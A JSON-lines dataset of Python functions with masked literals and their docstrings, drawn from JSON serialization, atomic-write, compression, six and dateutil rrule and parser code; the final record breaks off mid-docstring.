{"signature": "def dump(self, obj,<EOL>abspath,<EOL>indent=None,<EOL>sort_keys=None,<EOL>pretty=False,<EOL>float_precision=None,<EOL>ensure_ascii=True,<EOL>overwrite=False,<EOL>verbose=True,<EOL>**kwargs):", "body": "prt_console(\"<STR_LIT>\" % abspath, verbose)<EOL>is_compressed = is_compressed_json_file(abspath)<EOL>if not overwrite:<EOL><INDENT>if os.path.exists(abspath):  <EOL><INDENT>prt_console(<EOL>\"<STR_LIT>\",<EOL>verbose,<EOL>)<EOL>return<EOL><DEDENT><DEDENT>st = time.clock()<EOL>s = self.dumps(<EOL>obj,<EOL>indent=indent,<EOL>sort_keys=sort_keys,<EOL>pretty=pretty,<EOL>float_precision=float_precision,<EOL>ensure_ascii=ensure_ascii,<EOL>compress=False,  <EOL>**kwargs<EOL>)<EOL>with atomic_write(abspath, mode=\"<STR_LIT:wb>\", overwrite=True) as f:<EOL><INDENT>if is_compressed:<EOL><INDENT>f.write(compresslib.compress(s, return_type=\"<STR_LIT>\"))<EOL><DEDENT>else:<EOL><INDENT>f.write(s.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT><DEDENT>prt_console(<EOL>\"<STR_LIT>\" % (time.clock() - st),<EOL>verbose,<EOL>)<EOL>return s<EOL>", "docstring": "Dump any object into file.\n\n        :param abspath: if ``*.json, *.js** then do regular dump. if ``*.gz``,\n          then perform compression.\n        :type abspath: str\n\n        :param pretty: if True, dump json into pretty indent and sorted key\n          format.\n        :type pretty: bool\n\n        :param float_precision: default ``None``, limit floats to\n          N-decimal points.\n        :type float_precision: integer\n\n        :param overwrite: default ``False``, If ``True``, when you dump to\n          existing file, it silently overwrite it. If ``False``, an alert\n          message is shown. Default setting ``False`` is to prevent overwrite\n          file by mistake.\n        :type overwrite: boolean\n\n        :param verbose: default True, help-message-display trigger.\n        :type verbose: boolean", "id": "f15148:c1:m6"}
{"signature": "def load(self, abspath,<EOL>object_hook=None,<EOL>ignore_comments=False,<EOL>verbose=True,<EOL>**kwargs):", "body": "prt_console(\"<STR_LIT>\" % abspath, verbose)<EOL>is_compressed = is_compressed_json_file(abspath)<EOL>if not os.path.exists(abspath):<EOL><INDENT>raise EnvironmentError(\"<STR_LIT>\" % abspath)<EOL><DEDENT>st = time.clock()<EOL>with open(abspath, \"<STR_LIT:rb>\") as f:<EOL><INDENT>if is_compressed:<EOL><INDENT>s = compresslib.decompress(f.read(), return_type=\"<STR_LIT:str>\")<EOL><DEDENT>else:<EOL><INDENT>s = f.read().decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT><DEDENT>obj = self.loads(<EOL>s,<EOL>object_hook=object_hook,<EOL>decompress=False,<EOL>ignore_comments=ignore_comments,<EOL>)<EOL>prt_console(\"<STR_LIT>\" % (time.clock() - st),<EOL>verbose)<EOL>return obj<EOL>", "docstring": "load object from json file.\n\n        :param abspath: if ``*.json, *.js** then do regular dump. if ``*.gz``,\n          then perform decompression.\n        :type abspath: str\n\n        :param ignore_comments: default ``False. If True, then ignore comments.\n        :type ignore_comments: bool\n\n        :param verbose: default True, help-message-display trigger.\n        :type verbose: boolean", "id": "f15148:c1:m7"}
{"signature": "def dump_bytes(self, obj, class_name=bytes_class_name):", "body": "return {\"<STR_LIT:$>\" + class_name: b64encode(obj).decode()}<EOL>", "docstring": "``btyes`` dumper.", "id": "f15148:c2:m0"}
{"signature": "def load_bytes(self, dct, class_name=bytes_class_name):", "body": "return b64decode(dct[\"<STR_LIT:$>\" + class_name].encode())<EOL>", "docstring": "``btyes`` loader.", "id": "f15148:c2:m1"}
{"signature": "def dump_datetime(self, obj, class_name=\"<STR_LIT>\"):", "body": "return {\"<STR_LIT:$>\" + class_name: obj.isoformat()}<EOL>", "docstring": "``datetime.datetime`` dumper.", "id": "f15148:c2:m2"}
{"signature": "def load_datetime(self, dct, class_name=\"<STR_LIT>\"):", "body": "return parse(dct[\"<STR_LIT:$>\" + class_name])<EOL>", "docstring": "``datetime.datetime`` loader.", "id": "f15148:c2:m3"}
{"signature": "def dump_date(self, obj, class_name=\"<STR_LIT>\"):", "body": "return {\"<STR_LIT:$>\" + class_name: str(obj)}<EOL>", "docstring": "``datetime.date`` dumper.", "id": "f15148:c2:m4"}
{"signature": "def load_date(self, dct, class_name=\"<STR_LIT>\"):", "body": "return datetime.strptime(dct[\"<STR_LIT:$>\" + class_name], \"<STR_LIT>\").date()<EOL>", "docstring": "``datetime.date`` loader.", "id": "f15148:c2:m5"}
{"signature": "def dump_set(self, obj, class_name=set_class_name):", "body": "return {\"<STR_LIT:$>\" + class_name: [self._json_convert(item) for item in obj]}<EOL>", "docstring": "``set`` dumper.", "id": "f15148:c2:m6"}
{"signature": "def load_set(self, dct, class_name=set_class_name):", "body": "return set(dct[\"<STR_LIT:$>\" + class_name])<EOL>", "docstring": "``set`` loader.", "id": "f15148:c2:m7"}
{"signature": "def dump_deque(self, obj, class_name=\"<STR_LIT>\"):", "body": "return {\"<STR_LIT:$>\" + class_name: [self._json_convert(item) for item in obj]}<EOL>", "docstring": "``collections.deque`` dumper.", "id": "f15148:c2:m8"}
{"signature": "def load_deque(self, dct, class_name=\"<STR_LIT>\"):", "body": "return deque(dct[\"<STR_LIT:$>\" + class_name])<EOL>", "docstring": "``collections.deque`` loader.", "id": "f15148:c2:m9"}
{"signature": "def dump_OrderedDict(self, obj, class_name=\"<STR_LIT>\"):", "body": "return {<EOL>\"<STR_LIT:$>\" + class_name: [<EOL>(key, self._json_convert(value)) for key, value in iteritems(obj)<EOL>]<EOL>}<EOL>", "docstring": "``collections.OrderedDict`` dumper.", "id": "f15148:c2:m10"}
{"signature": "def load_OrderedDict(self, dct, class_name=\"<STR_LIT>\"):", "body": "return OrderedDict(dct[\"<STR_LIT:$>\" + class_name])<EOL>", "docstring": "``collections.OrderedDict`` loader.", "id": "f15148:c2:m11"}
{"signature": "def dump_nparray(self, obj, class_name=numpy_ndarray_class_name):", "body": "return {\"<STR_LIT:$>\" + class_name: self._json_convert(obj.tolist())}<EOL>", "docstring": "``numpy.ndarray`` dumper.", "id": "f15148:c3:m0"}
{"signature": "def load_nparray(self, dct, class_name=numpy_ndarray_class_name):", "body": "return np.array(dct[\"<STR_LIT:$>\" + class_name])<EOL>", "docstring": "``numpy.ndarray`` loader.", "id": "f15148:c3:m1"}
{"signature": "def dump_pathlib_path(self, obj, class_name=pathlib_path_class_name):", "body": "return {\"<STR_LIT:$>\" + class_name: str(obj)}<EOL>", "docstring": "``pathlib.Path`` or ``pathlib2.Path`` dumper.", "id": "f15148:c4:m0"}
{"signature": "def load_pathlib_path(self, dct, class_name=pathlib_path_class_name):", "body": "return Path(dct[\"<STR_LIT:$>\" + class_name])<EOL>", "docstring": "``pathlib.Path`` or ``pathlib2.Path`` loader.", "id": "f15148:c4:m1"}
{"signature": "def dump_pathlib_mate_path(self, obj, class_name=pathlib_mate_path_class_name):", "body": "return {\"<STR_LIT:$>\" + class_name: str(obj)}<EOL>", "docstring": "``pathlib_mate.PathCLs`` dumper.", "id": "f15148:c4:m2"}
{"signature": "def load_pathlib_mate_path(self, dct, class_name=pathlib_mate_path_class_name):", "body": "return PathCls(dct[\"<STR_LIT:$>\" + class_name])<EOL>", "docstring": "``pathlib_mate.PathCLs`` loader.", "id": "f15148:c4:m3"}
{"signature": "def strip_comment_line_with_symbol(line, start):", "body": "parts = line.split(start)<EOL>counts = [len(findall(r'<STR_LIT>', part))<EOL>for part in parts]<EOL>total = <NUM_LIT:0><EOL>for nr, count in enumerate(counts):<EOL><INDENT>total += count<EOL>if total % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>return start.join(parts[:nr + <NUM_LIT:1>]).rstrip()<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>return line.rstrip()<EOL><DEDENT>", "docstring": "Strip comments from line string.", "id": "f15150:m0"}
{"signature": "def strip_comments(string, comment_symbols=frozenset(('<STR_LIT:#>', '<STR_LIT>'))):", "body": "lines = string.splitlines()<EOL>for k in range(len(lines)):<EOL><INDENT>for symbol in comment_symbols:<EOL><INDENT>lines[k] = strip_comment_line_with_symbol(lines[k], start=symbol)<EOL><DEDENT><DEDENT>return '<STR_LIT:\\n>'.join(lines)<EOL>", "docstring": "Strip comments from json string.\n\n    :param string: A string containing json with comments started by comment_symbols.\n    :param comment_symbols: Iterable of symbols that start a line comment (default # or //).\n    :return: The string with the comments removed.", "id": "f15150:m1"}
{"signature": "def get_class_name(obj):", "body": "return obj.__class__.__module__ + \"<STR_LIT:.>\" + obj.__class__.__name__<EOL>", "docstring": "Get class name in dot separete notation\n\n        >>> from datetime import datetime\n        >>> obj = datetime.datetime(2000, 1, 1)\n        >>> get_class_name(obj) -> \"datetime.datetime\"\n\n        >>> from collections import deque\n        >>> obj = deque([1, 2, 3])\n        >>> get_class_name(obj) -> \"collections.deque\"", "id": "f15151:m0"}
{"signature": "def _add_doc(func, doc):", "body": "func.__doc__ = doc<EOL>", "docstring": "Add documentation to a function.", "id": "f15153:m0"}
{"signature": "def _import_module(name):", "body": "__import__(name)<EOL>return sys.modules[name]<EOL>", "docstring": "Import module, returning the module after the last dot.", "id": "f15153:m1"}
{"signature": "def add_move(move):", "body": "setattr(_MovedItems, move.name, move)<EOL>", "docstring": "Add an item to six.moves.", "id": "f15153:m2"}
{"signature": "def remove_move(name):", "body": "try:<EOL><INDENT>delattr(_MovedItems, name)<EOL><DEDENT>except AttributeError:<EOL><INDENT>try:<EOL><INDENT>del moves.__dict__[name]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\" % (name,))<EOL><DEDENT><DEDENT>", "docstring": "Remove item from six.moves.", "id": "f15153:m3"}
{"signature": "def with_metaclass(meta, *bases):", "body": "<EOL>class metaclass(meta):<EOL><INDENT>def __new__(cls, name, this_bases, d):<EOL><INDENT>return meta(name, bases, d)<EOL><DEDENT><DEDENT>return type.__new__(metaclass, '<STR_LIT>', (), {})<EOL>", "docstring": "Create a base class with a metaclass.", "id": "f15153:m7"}
{"signature": "def add_metaclass(metaclass):", "body": "def wrapper(cls):<EOL><INDENT>orig_vars = cls.__dict__.copy()<EOL>slots = orig_vars.get('<STR_LIT>')<EOL>if slots is not None:<EOL><INDENT>if isinstance(slots, str):<EOL><INDENT>slots = [slots]<EOL><DEDENT>for slots_var in slots:<EOL><INDENT>orig_vars.pop(slots_var)<EOL><DEDENT><DEDENT>orig_vars.pop('<STR_LIT>', None)<EOL>orig_vars.pop('<STR_LIT>', None)<EOL>return metaclass(cls.__name__, cls.__bases__, orig_vars)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Class decorator for creating a class with a metaclass.", "id": "f15153:m8"}
{"signature": "def python_2_unicode_compatible(klass):", "body": "if PY2:<EOL><INDENT>if '<STR_LIT>' not in klass.__dict__:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" %<EOL>klass.__name__)<EOL><DEDENT>klass.__unicode__ = klass.__str__<EOL>klass.__str__ = lambda self: self.__unicode__().encode('<STR_LIT:utf-8>')<EOL><DEDENT>return klass<EOL>", "docstring": "A decorator that defines __unicode__ and __str__ methods under Python 2.\nUnder Python 3 it does nothing.\n\nTo support Python 2 and 3 with a single code base, define a __str__ method\nreturning text and apply this decorator to the class.", "id": "f15153:m9"}
{"signature": "def is_package(self, fullname):", "body": "return hasattr(self.__get_module(fullname), \"<STR_LIT>\")<EOL>", "docstring": "Return true, if the named module is a package.\n\nWe need this method to get correct spec objects with\nPython 3.4 (see PEP451)", "id": "f15153:c4:m6"}
{"signature": "def get_code(self, fullname):", "body": "self.__get_module(fullname)  <EOL>return None<EOL>", "docstring": "Return None\n\n        Required, if is_package is implemented", "id": "f15153:c4:m7"}
{"signature": "def replace_atomic(src, dst):", "body": "return _replace_atomic(src, dst)<EOL>", "docstring": "Move ``src`` to ``dst``. If ``dst`` exists, it will be silently\noverwritten.\n\nBoth paths must reside on the same filesystem for the operation to be\natomic.", "id": "f15154:m1"}
{"signature": "def move_atomic(src, dst):", "body": "return _move_atomic(src, dst)<EOL>", "docstring": "Move ``src`` to ``dst``. There might a timewindow where both filesystem\nentries exist. If ``dst`` already exists, :py:exc:`FileExistsError` will be\nraised.\n\nBoth paths must reside on the same filesystem for the operation to be\natomic.", "id": "f15154:m2"}
{"signature": "def atomic_write(path, writer_cls=AtomicWriter, **cls_kwargs):", "body": "return writer_cls(path, **cls_kwargs).open()<EOL>", "docstring": "Simple atomic writes. This wraps :py:class:`AtomicWriter`::\n\n    with atomic_write(path) as f:\n        f.write(...)\n\n:param path: The target path to write to.\n:param writer_cls: The writer class to use. This parameter is useful if you\n    subclassed :py:class:`AtomicWriter` to change some behavior and want to\n    use that new subclass.\n\nAdditional keyword arguments are passed to the writer class. See\n:py:class:`AtomicWriter`.", "id": "f15154:m3"}
{"signature": "def open(self):", "body": "return self._open(self.get_fileobject)<EOL>", "docstring": "Open the temporary file.", "id": "f15154:c0:m1"}
{"signature": "def get_fileobject(self, dir=None, **kwargs):", "body": "if dir is None:<EOL><INDENT>dir = os.path.normpath(os.path.dirname(self._path))<EOL><DEDENT>descriptor, name = tempfile.mkstemp(dir=dir)<EOL>os.close(descriptor)<EOL>kwargs['<STR_LIT>'] = self._mode<EOL>kwargs['<STR_LIT:file>'] = name<EOL>return io.open(**kwargs)<EOL>", "docstring": "Return the temporary file to use.", "id": "f15154:c0:m3"}
{"signature": "def sync(self, f):", "body": "f.flush()<EOL>_proper_fsync(f.fileno())<EOL>", "docstring": "responsible for clearing as many file caches as possible before\n        commit", "id": "f15154:c0:m4"}
{"signature": "def commit(self, f):", "body": "if self._overwrite:<EOL><INDENT>replace_atomic(f.name, self._path)<EOL><DEDENT>else:<EOL><INDENT>move_atomic(f.name, self._path)<EOL><DEDENT>", "docstring": "Move the temporary file to the target location.", "id": "f15154:c0:m5"}
{"signature": "def rollback(self, f):", "body": "os.unlink(f.name)<EOL>", "docstring": "Clean up all temporary resources.", "id": "f15154:c0:m6"}
{"signature": "def _compress_obj(obj, level):", "body": "return zlib.compress(pickle.dumps(obj, protocol=<NUM_LIT:2>), level)<EOL>", "docstring": "Compress object to bytes.", "id": "f15155:m0"}
{"signature": "def _compress_str(s, level):", "body": "return zlib.compress(s.encode(\"<STR_LIT:utf-8>\"), level)<EOL>", "docstring": "Compress str to bytes.", "id": "f15155:m1"}
{"signature": "def _compress_bytes(b, level):", "body": "return zlib.compress(b, level)<EOL>", "docstring": "Compress bytes to bytes.", "id": "f15155:m2"}
{"signature": "def compress(obj, level=<NUM_LIT:6>, return_type=\"<STR_LIT>\"):", "body": "if isinstance(obj, binary_type):<EOL><INDENT>b = zlib.compress(obj, level)<EOL><DEDENT>elif isinstance(obj, string_types):<EOL><INDENT>b = zlib.compress(obj.encode(\"<STR_LIT:utf-8>\"), level)<EOL><DEDENT>else:<EOL><INDENT>b = zlib.compress(pickle.dumps(obj, protocol=<NUM_LIT:2>), level)<EOL><DEDENT>if return_type == \"<STR_LIT>\":<EOL><INDENT>return b<EOL><DEDENT>elif return_type == \"<STR_LIT:str>\":<EOL><INDENT>return base64.b64encode(b).decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Compress anything to bytes or string.\n\n    :params obj: \n    :params level: \n    :params return_type: if bytes, then return bytes; if str, then return\n      base64.b64encode bytes in utf-8 string.", "id": "f15155:m3"}
{"signature": "def decompress(obj, return_type=\"<STR_LIT>\"):", "body": "if isinstance(obj, binary_type):<EOL><INDENT>b = zlib.decompress(obj)<EOL><DEDENT>elif isinstance(obj, string_types):<EOL><INDENT>b = zlib.decompress(base64.b64decode(obj.encode(\"<STR_LIT:utf-8>\")))<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>if return_type == \"<STR_LIT>\":<EOL><INDENT>return b<EOL><DEDENT>elif return_type == \"<STR_LIT:str>\":<EOL><INDENT>return b.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>elif return_type == \"<STR_LIT>\":<EOL><INDENT>return pickle.loads(b)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "De-compress it to it's original.\n\n    :params obj: Compressed object, could be bytes or str.\n    :params return_type: if bytes, then return bytes; if str, then use \n      base64.b64decode; if obj, then use pickle.loads return an object.", "id": "f15155:m4"}
{"signature": "def _invalidates_cache(f):", "body": "def inner_func(self, *args, **kwargs):<EOL><INDENT>rv = f(self, *args, **kwargs)<EOL>self._invalidate_cache()<EOL>return rv<EOL><DEDENT>return inner_func<EOL>", "docstring": "Decorator for rruleset methods which may invalidate the\ncached length.", "id": "f15156:m0"}
{"signature": "def count(self):", "body": "if self._len is None:<EOL><INDENT>for x in self:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return self._len<EOL>", "docstring": "Returns the number of recurrences in this set. It will have go\n            trough the whole recurrence, if this hasn't been done before.", "id": "f15156:c1:m6"}
{"signature": "def before(self, dt, inc=False):", "body": "if self._cache_complete:<EOL><INDENT>gen = self._cache<EOL><DEDENT>else:<EOL><INDENT>gen = self<EOL><DEDENT>last = None<EOL>if inc:<EOL><INDENT>for i in gen:<EOL><INDENT>if i > dt:<EOL><INDENT>break<EOL><DEDENT>last = i<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for i in gen:<EOL><INDENT>if i >= dt:<EOL><INDENT>break<EOL><DEDENT>last = i<EOL><DEDENT><DEDENT>return last<EOL>", "docstring": "Returns the last recurrence before the given datetime instance. The\n            inc keyword defines what happens if dt is an occurrence. With\n            inc=True, if dt itself is an occurrence, it will be returned.", "id": "f15156:c1:m7"}
{"signature": "def after(self, dt, inc=False):", "body": "if self._cache_complete:<EOL><INDENT>gen = self._cache<EOL><DEDENT>else:<EOL><INDENT>gen = self<EOL><DEDENT>if inc:<EOL><INDENT>for i in gen:<EOL><INDENT>if i >= dt:<EOL><INDENT>return i<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for i in gen:<EOL><INDENT>if i > dt:<EOL><INDENT>return i<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Returns the first recurrence after the given datetime instance. The\n            inc keyword defines what happens if dt is an occurrence. With\n            inc=True, if dt itself is an occurrence, it will be returned.", "id": "f15156:c1:m8"}
{"signature": "def xafter(self, dt, count=None, inc=False):", "body": "if self._cache_complete:<EOL><INDENT>gen = self._cache<EOL><DEDENT>else:<EOL><INDENT>gen = self<EOL><DEDENT>if inc:<EOL><INDENT>def comp(dc, dtc): return dc >= dtc<EOL><DEDENT>else:<EOL><INDENT>def comp(dc, dtc): return dc > dtc<EOL><DEDENT>n = <NUM_LIT:0><EOL>for d in gen:<EOL><INDENT>if comp(d, dt):<EOL><INDENT>if count is not None:<EOL><INDENT>n += <NUM_LIT:1><EOL>if n > count:<EOL><INDENT>break<EOL><DEDENT><DEDENT>yield d<EOL><DEDENT><DEDENT>", "docstring": "Generator which yields up to `count` recurrences after the given\ndatetime instance, equivalent to `after`.\n\n:param dt:\n    The datetime at which to start generating recurrences.\n\n:param count:\n    The maximum number of recurrences to generate. If `None` (default),\n    dates are generated until the recurrence rule is exhausted.\n\n:param inc:\n    If `dt` is an instance of the rule and `inc` is `True`, it is\n    included in the output.\n\n:yields: Yields a sequence of `datetime` objects.", "id": "f15156:c1:m9"}
{"signature": "def between(self, after, before, inc=False, count=<NUM_LIT:1>):", "body": "if self._cache_complete:<EOL><INDENT>gen = self._cache<EOL><DEDENT>else:<EOL><INDENT>gen = self<EOL><DEDENT>started = False<EOL>l = []<EOL>if inc:<EOL><INDENT>for i in gen:<EOL><INDENT>if i > before:<EOL><INDENT>break<EOL><DEDENT>elif not started:<EOL><INDENT>if i >= after:<EOL><INDENT>started = True<EOL>l.append(i)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>l.append(i)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for i in gen:<EOL><INDENT>if i >= before:<EOL><INDENT>break<EOL><DEDENT>elif not started:<EOL><INDENT>if i > after:<EOL><INDENT>started = True<EOL>l.append(i)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>l.append(i)<EOL><DEDENT><DEDENT><DEDENT>return l<EOL>", "docstring": "Returns all the occurrences of the rrule between after and before.\n        The inc keyword defines what happens if after and/or before are\n        themselves occurrences. With inc=True, they will be included in the\n        list, if they are found in the recurrence set.", "id": "f15156:c1:m10"}
{"signature": "def __str__(self):", "body": "output = []<EOL>h, m, s = [None] * <NUM_LIT:3><EOL>if self._dtstart:<EOL><INDENT>output.append(self._dtstart.strftime('<STR_LIT>'))<EOL>h, m, s = self._dtstart.timetuple()[<NUM_LIT:3>:<NUM_LIT:6>]<EOL><DEDENT>parts = ['<STR_LIT>' + FREQNAMES[self._freq]]<EOL>if self._interval != <NUM_LIT:1>:<EOL><INDENT>parts.append('<STR_LIT>' + str(self._interval))<EOL><DEDENT>if self._wkst:<EOL><INDENT>parts.append('<STR_LIT>' + repr(weekday(self._wkst))[<NUM_LIT:0>:<NUM_LIT:2>])<EOL><DEDENT>if self._count is not None:<EOL><INDENT>parts.append('<STR_LIT>' + str(self._count))<EOL><DEDENT>if self._until:<EOL><INDENT>parts.append(self._until.strftime('<STR_LIT>'))<EOL><DEDENT>if self._original_rule.get('<STR_LIT>') is not None:<EOL><INDENT>original_rule = dict(self._original_rule)<EOL>wday_strings = []<EOL>for wday in original_rule['<STR_LIT>']:<EOL><INDENT>if wday.n:<EOL><INDENT>wday_strings.append('<STR_LIT>'.format(<EOL>n=wday.n,<EOL>wday=repr(wday)[<NUM_LIT:0>:<NUM_LIT:2>]))<EOL><DEDENT>else:<EOL><INDENT>wday_strings.append(repr(wday))<EOL><DEDENT><DEDENT>original_rule['<STR_LIT>'] = wday_strings<EOL><DEDENT>else:<EOL><INDENT>original_rule = self._original_rule<EOL><DEDENT>partfmt = '<STR_LIT>'<EOL>for name, key in [('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>')]:<EOL><INDENT>value = original_rule.get(key)<EOL>if value:<EOL><INDENT>parts.append(partfmt.format(name=name, vals=('<STR_LIT:U+002C>'.join(str(v)<EOL>for v in value))))<EOL><DEDENT><DEDENT>output.append('<STR_LIT:;>'.join(parts))<EOL>return '<STR_LIT:\\n>'.join(output)<EOL>", "docstring": "Output a string that would generate this RRULE if passed to rrulestr.\nThis is mostly compatible with RFC2445, except for the\ndateutil-specific extension BYEASTER.", "id": "f15156:c2:m1"}
{"signature": "def replace(self, **kwargs):", "body": "new_kwargs = {\"<STR_LIT>\": self._interval,<EOL>\"<STR_LIT:count>\": self._count,<EOL>\"<STR_LIT>\": self._dtstart,<EOL>\"<STR_LIT>\": self._freq,<EOL>\"<STR_LIT>\": self._until,<EOL>\"<STR_LIT>\": self._wkst,<EOL>\"<STR_LIT>\": False if self._cache is None else True}<EOL>new_kwargs.update(self._original_rule)<EOL>new_kwargs.update(kwargs)<EOL>return rrule(**new_kwargs)<EOL>", "docstring": "Return new rrule with same attributes except for those attributes given new\n           values by whichever keyword arguments are specified.", "id": "f15156:c2:m2"}
{"signature": "def __construct_byset(self, start, byxxx, base):", "body": "cset = set()<EOL>if isinstance(byxxx, integer_types):<EOL><INDENT>byxxx = (byxxx, )<EOL><DEDENT>for num in byxxx:<EOL><INDENT>i_gcd = gcd(self._interval, base)<EOL>if i_gcd == <NUM_LIT:1> or divmod(num - start, i_gcd)[<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>cset.add(num)<EOL><DEDENT><DEDENT>if len(cset) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return cset<EOL>", "docstring": "If a `BYXXX` sequence is passed to the constructor at the same level as\n`FREQ` (e.g. `FREQ=HOURLY,BYHOUR={2,4,7},INTERVAL=3`), there are some\nspecifications which cannot be reached given some starting conditions.\n\nThis occurs whenever the interval is not coprime with the base of a\ngiven unit and the difference between the starting position and the\nending position is not coprime with the greatest common denominator\nbetween the interval and the base. For example, with a FREQ of hourly\nstarting at 17:00 and an interval of 4, the only valid values for\nBYHOUR would be {21, 1, 5, 9, 13, 17}, because 4 and 24 are not\ncoprime.\n\n:param start:\n    Specifies the starting position.\n:param byxxx:\n    An iterable containing the list of allowed values.\n:param base:\n    The largest allowable value for the specified frequency (e.g.\n    24 hours, 60 minutes).\n\nThis does not preserve the type of the iterable, returning a set, since\nthe values should be unique and the order is irrelevant, this will\nspeed up later lookups.\n\nIn the event of an empty set, raises a :exception:`ValueError`, as this\nresults in an empty rrule.", "id": "f15156:c2:m4"}
{"signature": "def __mod_distance(self, value, byxxx, base):", "body": "accumulator = <NUM_LIT:0><EOL>for ii in range(<NUM_LIT:1>, base + <NUM_LIT:1>):<EOL><INDENT>div, value = divmod(value + self._interval, base)<EOL>accumulator += div<EOL>if value in byxxx:<EOL><INDENT>return (accumulator, value)<EOL><DEDENT><DEDENT>", "docstring": "Calculates the next value in a sequence where the `FREQ` parameter is\nspecified along with a `BYXXX` parameter at the same \"level\"\n(e.g. `HOURLY` specified with `BYHOUR`).\n\n:param value:\n    The old value of the component.\n:param byxxx:\n    The `BYXXX` set, which should have been generated by\n    `rrule._construct_byset`, or something else which checks that a\n    valid rule is present.\n:param base:\n    The largest allowable value for the specified frequency (e.g.\n    24 hours, 60 minutes).\n\nIf a valid value is not found after `base` iterations (the maximum\nnumber before the sequence would start to repeat), this raises a\n:exception:`ValueError`, as no valid values were found.\n\nThis returns a tuple of `divmod(n*interval, base)`, where `n` is the\nsmallest number of `interval` repetitions until the next specified\nvalue in `byxxx` is found.", "id": "f15156:c2:m5"}
{"signature": "@_invalidates_cache<EOL><INDENT>def rrule(self, rrule):<DEDENT>", "body": "self._rrule.append(rrule)<EOL>", "docstring": "Include the given :py:class:`rrule` instance in the recurrence set\n            generation.", "id": "f15156:c4:m1"}
{"signature": "@_invalidates_cache<EOL><INDENT>def rdate(self, rdate):<DEDENT>", "body": "self._rdate.append(rdate)<EOL>", "docstring": "Include the given :py:class:`datetime` instance in the recurrence\n            set generation.", "id": "f15156:c4:m2"}
{"signature": "@_invalidates_cache<EOL><INDENT>def exrule(self, exrule):<DEDENT>", "body": "self._exrule.append(exrule)<EOL>", "docstring": "Include the given rrule instance in the recurrence set exclusion\n            list. Dates which are part of the given recurrence rules will not\n            be generated, even if some inclusive rrule or rdate matches them.", "id": "f15156:c4:m3"}
{"signature": "@_invalidates_cache<EOL><INDENT>def exdate(self, exdate):<DEDENT>", "body": "self._exdate.append(exdate)<EOL>", "docstring": "Include the given datetime instance in the recurrence set\n            exclusion list. Dates included that way will not be generated,\n            even if some inclusive rrule or rdate matches them.", "id": "f15156:c4:m4"}
{"signature": "def _handle_BYWEEKDAY(self, rrkwargs, name, value, **kwargs):", "body": "l = []<EOL>for wday in value.split('<STR_LIT:U+002C>'):<EOL><INDENT>if '<STR_LIT:(>' in wday:<EOL><INDENT>splt = wday.split('<STR_LIT:(>')<EOL>w = splt[<NUM_LIT:0>]<EOL>n = int(splt[<NUM_LIT:1>][:-<NUM_LIT:1>])<EOL><DEDENT>elif len(wday):<EOL><INDENT>for i in range(len(wday)):<EOL><INDENT>if wday[i] not in '<STR_LIT>':<EOL><INDENT>break<EOL><DEDENT><DEDENT>n = wday[:i] or None<EOL>w = wday[i:]<EOL>if n:<EOL><INDENT>n = int(n)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>l.append(weekdays[self._weekday_map[w]](n))<EOL><DEDENT>rrkwargs[\"<STR_LIT>\"] = l<EOL>", "docstring": "Two ways to specify this: +1MO or MO(+1)", "id": "f15156:c5:m5"}
{"signature": "def parse(timestr, parserinfo=None, **kwargs):", "body": "if parserinfo:<EOL><INDENT>return parser(parserinfo).parse(timestr, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>return DEFAULTPARSER.parse(timestr, **kwargs)<EOL><DEDENT>", "docstring": "Parse a string in one of the supported formats, using the\n``parserinfo`` parameters.\n\n:param timestr:\n    A string containing a date/time stamp.\n\n:param parserinfo:\n    A :class:`parserinfo` object containing parameters for the parser.\n    If ``None``, the default arguments to the :class:`parserinfo`\n    constructor are used.\n\nThe ``**kwargs`` parameter takes the following keyword arguments:\n\n:param default:\n    The default datetime object, if this is a datetime object and not\n    ``None``, elements specified in ``timestr`` replace elements in the\n    default object.\n\n:param ignoretz:\n    If set ``True``, time zones in parsed strings are ignored and a naive\n    :class:`datetime` object is returned.\n\n:param tzinfos:\n        Additional time zone names / aliases which may be present in the\n        string. This argument maps time zone names (and optionally offsets\n        from those time zones) to time zones. This parameter can be a\n        dictionary with timezone aliases mapping time zone names to time\n        zones or a function taking two parameters (``tzname`` and\n        ``tzoffset``) and returning a time zone.\n\n        The timezones to which the names are mapped can be an integer\n        offset from UTC in minutes or a :class:`tzinfo` object.\n\n        .. doctest::\n           :options: +NORMALIZE_WHITESPACE\n\n            >>> from dateutil.parser import parse\n            >>> from dateutil.tz import gettz\n            >>> tzinfos = {\"BRST\": -10800, \"CST\": gettz(\"America/Chicago\")}\n            >>> parse(\"2012-01-19 17:21:00 BRST\", 